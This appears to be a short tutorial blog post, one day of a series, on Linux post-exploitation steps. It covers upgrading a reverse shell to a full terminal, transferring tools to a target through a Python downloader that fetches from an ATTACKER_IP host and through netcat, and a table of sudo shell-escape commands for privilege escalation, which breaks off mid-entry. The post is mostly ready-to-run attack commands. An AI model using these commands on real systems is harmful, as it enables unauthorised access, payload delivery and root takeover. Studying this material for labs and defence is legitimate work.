Day 15: The Post-Exploit Workflow — Stabilization & Escalation 🛡️ published: true

🛠️ Step 1: Shell Stabilization (The TTY Upgrade) Most reverse shells start as "dumb shells." Here is the standard protocol to upgrade them: Inside the reverse shell: python3 -c 'import pty; pty.spawn("/bin/bash")' Hit Ctrl + Z to background the shell. On your local machine: stty raw -echo; fg Back in the shell: export TERM=xterm Now you have Tab-completion, arrow keys, and a stable environment! 📦 Step 2: Tool Transfer (Without wget/curl) If the target machine is stripped of downloaders, use Python or Netcat : Python Downloader: python3 -c "import urllib.request; urllib.request.urlretrieve('http://ATTACKER_IP:8000/file','file')" Netcat Transfer: Target: nc -lp 4444 > file Attacker: nc TARGET_IP 4444 < file 🔓 Step 3: Escalating to Root (The GTFOBins Checklist) When you see a binary in sudo -l or SUID find , look for shell escape patterns: Binary Escalation Command Why it works awk sudo awk 'BEGIN {system("/bin/sh")}' System execution less sudo less /etc/passwd (then type !sh ) Shell esca